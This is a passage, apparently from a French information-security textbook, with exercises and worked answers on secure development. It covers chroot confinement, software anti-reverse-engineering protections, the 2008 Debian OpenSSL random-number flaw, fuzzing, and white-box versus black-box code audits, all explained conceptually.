de code manuelle, et utiliser un scanner de code. Quels sont les avantages et les
inconvénients des deux solutions ?
Solution p.356
Exercice 130 : Techniques de protection logicielle
Dans certains cas, utiliser un composant matériel pour durcir la sécurité d’une
application logicielle se révèle trop onéreux. Décrire brièvement les six techniques
suivantes de protection logicielle, et pour chacune d’entre elles, expliquer quelles sont
les attaques visées :
1. Obfuscation logicielle
2. Tatouage de code
3. Tamper-proofing
4. Techniques anti-débogage
5. Attestation à distance
6. Utilisation d’un packer
Solution p.356
Exercice 131 : Groupe responsable de la sécurité
Dans leur article intitulé The trustworthy computing security development lifecycle,
Lipner et Howard se font l’avocat
[...] un groupe centralisé au sein de l’entreprise qui dirige le développement et
l’évolution des bonnes pratiques en matière de sécurité, sert de source d’expertise pour
l’organisation entière, et effectue des revues [...] avant que le logiciel ne soit mis en
production.
Pourquoi un tel rô le ne pourrait-il pas être assumé directement par les équipes de
développement ?
Expliquer le contexte historique de cet article. Qui a initié cette initiative pour plus de
sécurité chez Microsoft ? Pourquoi était-il si important que cela soit cette personne
précise, et pas une autre ?
Solution p.357
Exercice 132 : Debian et les scanners de code
Debian est une distribution de Linux réputée pour sa stabilité et le sérieux de son
développement. Néanmoins, en 2008, une vulnérabilité très sérieuse a été introduite
dans le code source du logiciel OpenSSL, suite à l’utilisation de l’outil valgrind.
Décrire brièvement la nature de la vulnérabilité.
Quelle ont été les conséquences de cette vulnérabilité?
Quelles conclusions peut-on tirer de cet événement?
Solution p.357
Exercice 133 : Efficacité du fuzzing
Expliquer en quelques phrases pourquoi un outil de fuzzing injectant des valeurs
complètement (pseudo-)aléatoires sera moins efficace pour trouver des vulnérabilités
dans une application qu’un outil exploitant la connaissance du protocole de
communication avec cette application.
Solution p.358
Exercice 134 : Vérification en boîte blanche ou noire
Le responsable de la sécurité d’une application Web, lors de la phase de vérification,
hésite entre effectuer une revue de code de type boîte blanche, c’est-à -dire en offrant
l’accès au code source et à toute la documentation disponible à l’auditeur, ou de type
boîte noire, c’est-à -dire en ne lui offrant qu’un accès distant. Quels sont les éléments de
décision qui pourraient aider cette personne ?
Solution p.358
Corrigés des exercices
Corrigé 127 : Appel système chroot( )
Sous Unix, ou ses dérivés, l’appel système chroot ( ) permet de modifier la racine du
système de fichiers visible par un processus.
L’idée est de confiner un processus à un sous-ensemble du système de fichiers, on
pourrait configurer un serveur Web dans le répertoire /var/run/httpd-jail, par exemple,
ce répertoire devenant la racine du système de fichiers vu par le serveur Web. On devra
de plus y copier les quelques librairies dynamiques nécessaires à son exécution, ainsi
que les fichiers de configurations idoines, en plus des données à servir. En cas
d’exploitation d’une vulnérabilité dans le serveur Web, et pour autant que ce dernier ne
tourne pas avec les droits d’administrateur, l’attaquant sera confiné dans ce répertoire,
et il n’aura pas la possibilité d’accéder au reste de l’arborescence. A noter qu’il existe
d’autres mécanismes plus évolués, mais plus compliqués à mettre en œuvre, pour
atteindre les mêmes buts, comme SELinux, par exemple, dans le monde Linux.
Un serveur Web n’a souvent besoin de privilèges élevés que pour s’attacher à un port
privilégié, comme les ports TCP 80 et 443. Une fois cette opération effectuée, il peut,
grâ ce à l’appel système setuidQ, renoncer à ces privilèges.
Corrigé 128 : Sentinelle matérielle
Une idée possible consisterait à exécuter l’algorithme sensible sur le composant
matériel, et d’utiliser ce dernier comme un serveur, en quelque sorte. Ainsi, le code
exécutable de l’algorithme resterait stocké de manière sécurisée sur la sentinelle, et il
serait plus difficile d’en effectuer le reverse engineering. S’il n’est pas possible, pour des
raisons de performance, par exemple, d’exécuter la totalité de l’algorithme sur la
sentinelle, on pourrait imaginer identifier des parties nécessaires à son exécution et les
faire tourner sur le composant.
Les activités de reverse engineering sur du logiciel ou du matériel sont des activités
sensiblement différentes. Tandis que dans le monde logiciel, il existe de nombreux outils
facilement disponibles et très puissants, le reverse engineering matériel exige des
équipements lourds, tels que FIBs, microscopes électroniques, etc., ainsi que des
connaissances spécifiques en micro-électronique. Il est donc beaucoup plus coû teux, à ce
jour, d’attaquer un composant matériel sécurisé qu’un logiciel, aussi bien protégé soit-il.
Tandis qu’elles apportent une réponse quant à la sécurité du logiciel qu’elles protègent,
les sentinelles arrivent avec quelques désavantages certains. On peut notamment citer le
fait qu’elles ne peuvent offrir que des performances bien moindres qu’un ordinateur
standard, qu’elles sont onéreuses, compliquées à distribuer à la clientèle et qu’elles sont
souvent vues comme une complication à l’utilisation du logiciel qu’elles cherchent à
protéger.
Corrigé 129 : Processus de développement sécurisé
Il est possible, et naturellement souhaitable, d’intégrer la gestion de la sécurité le plus
tô t possible dans le processus de développement de cette application. Par exemple, on
pourrait penser à appliquer le processus SDL dès la phase d’exigences, et ce, jusqu’à la
phase de maintenance. Ceci implique néanmoins de dégager des ressources et de mettre
du temps à disposition des équipes de développement, ainsi que des équipes
spécialisées en revue de code et en tests d’intrusion.
Une revue de code manuelle pourra concerner un volume de code moindre, car c’est une
grande consommatrice en temps. Par contre, un relecteur expérimenté sera capable de
déceler des problèmes de sécurité subtils, tels que des défauts de conception. De son
cô té, un outil automatique permet de tester une très grande base de code de manière
efficace ; ceci dit, il faudra de toute façon interpréter ses résultats et rester conscient
qu’un outil automatique ne sera jamais capable de découvrir toutes les vulnérabilités
existantes.
Corrigé 130 : Techniques de protection logicielle
1. L’obfuscation logicielle consiste à transformer du code source ou du code binaire
de façon à ce qu’il soit le plus incompréhensible possible pour le reverse engineer.
Même si l’on ne connaît pas de techniques qui résisterait même aux attaquants
les plus puissants, il est possible, à ce jour, d’obfusquer des programmes de façon
à décourager la plupart des attaquants, ou à rendre l’opération de reverse
engineering non-rentable.
2. Par nature, du code exécutable est réplicable à l’infini. Les techniques de tatouage
de code visent à embarquer des marques individuelles dans chaque binaire
distribué, de façon à ce que si un binaire se retrouve disséminé à large échelle de
façon illégale, on puisse tracer la source de la fuite, et, le cas échéant, prendre des
mesures légales ou techniques à son encontre.
3. Les techniques de tamper-proofing consistent à rendre le code difficilement
modifiable, pour éviter par exemple qu’on ne puisse contourner facilement un
système de licence.
4. Des techniques d’anti-débogage visent à rendre l’analyse dynamique d’un
exécutable binaire la plus difficile possible. Par exemple, on peut imaginer que le
programme, épisodiquement, essaie de détecter le fait qu’il soit débogué, ou
émulé, ou qu’il tourne à vitesse très ralentie, ou dans une machine virtuelle, et de
prendre, le cas échéant, les mesures nécessaires.
5. L’attestation à distance consiste à utiliser le fait qu’une application puisse être
constamment connectée à un serveur, ce qui va permettre à ce dernier de vérifier
que l’intégrité de l’application est conservée.
6. Un packer est un programme qui est capable de décompresser ou de déchiffrer
un exécutable avant de l’exécuter. C’est un des moyens les plus simples pour
empêcher le reverse engineering statique.
Corrigé 131 : Groupe responsable de la sécurité
Tout d’abord, on s’attend à ce qu’une équipe de développement soit avant tout
compétente et efficace en développement, et il est ainsi difficile d’exiger que tous les
développeurs soient également des experts en sécurité. De plus, une équipe spécialisée
dans la sécurité peut agir de manière transversale, ce qui peut empêcher des conflits
d’intérêts. Enfin, une équipe dédiée pourra se concentrer exclusivement sur la sécurité,
et ainsi gagner en efficacité.
C’est Bill Gates lui-même, alors PDG de Microsoft, qui a lancé cet effort vers plus de
sécurité dans les produits de son entreprise. Le fait que l’impulsion soit venue du haut
de la hiérarchie a permis d’aligner l’entreprise entière vers ce but, et de valider
implicitement les investissements nécessaires pour atteindre ce but.
Notons que nous avons déjà vu au chapitre 1.4.3 que la norme ISO 27001 traitant de la
gestion de la sécurité de l’information plaide aussi pour une implication forte de la
direction d’entreprise dans les questions de sécurité.
Corrigé 132 : Debian et les scanners de code
1. Le générateur pseudo-aléatoire cryptographique de la bibliothèque OpenSSL a été
modifié par la personne qui en était responsable pour la distribution Debian. Plus
précisément, il a effacé deux lignes de code, qui avaient été pointées, à raison, par l’outil
valgrind comme utilisant des valeurs non-initialisées. En fait, ces valeurs étaient là pour
ajouter des données imprédictibles au générateur pseudo-aléatoire. Le résultat était que
ce générateur n’était plus initialisé que par une valeur de 15 bits. La vulnérabilité n’a pas
été identifiée, et donc corrigée, pendant plus d’une année, ce qui fait que de nombreuses
clefs cryptographiques ont été générées et utilisées durant cette période, alors qu’il était
possible de les casser très facilement.
Cet événement devrait subsister comme étant un exemple typique du fait qu’il ne faut
pas faire une confiance aveugle dans un outil de scan de code, et qu’il faudra toujours
investir un peu de temps pour en interpréter ses résultats.
Corrigé 133 : Efficacité du fuzzing
Le fuzzing consistant à envoyer des entrées malformées à une application dans le but de
la faire planter, le but est de couvrir le plus possible de chemins d’exécution dans son
code. Souvent, des données complètement aléatoires seront filtrées d’entrée de jeu,
parce qu’elles ne respectent pas le format attendu par l’application, ce qui fait que seul
ce premier mécanisme de filtrage sera testé, en réalité. Si le fuzzer est plus intelligent
que cela, et qu’il est capable de communiquer avec l’application en respectant le format
des entrées attendues, la probabilité qu’il puisse identifier des vulnérabilités enfouies
profondément dans le code augmente significativement.
Corrigé 134 : Vérification en boîte blanche ou noire
Les deux approches ont leurs avantages et leurs inconvénients. Dans une approche de
type boîte blanche, l’auditeur aura une meilleure vue sur l’architecture de l’application,
et sera à même d’en identifier les aspects potentiellement problématiques rapidement.
D’un autre cô té, il perd un peu en indépendance d’esprit, étant donné qu’il va
s’imprégner de la même vision sécuritaire que l’équipe de développeurs. Le fait d’avoir à
disposition le code source permet d’utiliser des scanners de code, ce qui peut être un
avantage.
Une approche de type boîte noire aura le désavantage d’être potentiellement moins
efficace, car l’auditeur aura une vue moins détaillée de l’architecture sécuritaire de
l’application. Néanmoins, il pourra laisser libre cours à son imagination et à sa créativité,
ce qui pourrait se révéler plus fructueux pour découvrir des failles complètement
inattendues par l’équipe de développement. Enfin, l’approche de type boîte noire est
celle utilisée par les attaquants en pratique, ce qui met l’auditeur dans des conditions
d’attaque réalistes.
Il est également possible de combiner les deux approches, en commençant par une
approche de type boîte noire, qui pourra dans un second temps être raffinée par une
approche de type boîte blanche.

Vous aimerez peut-être aussi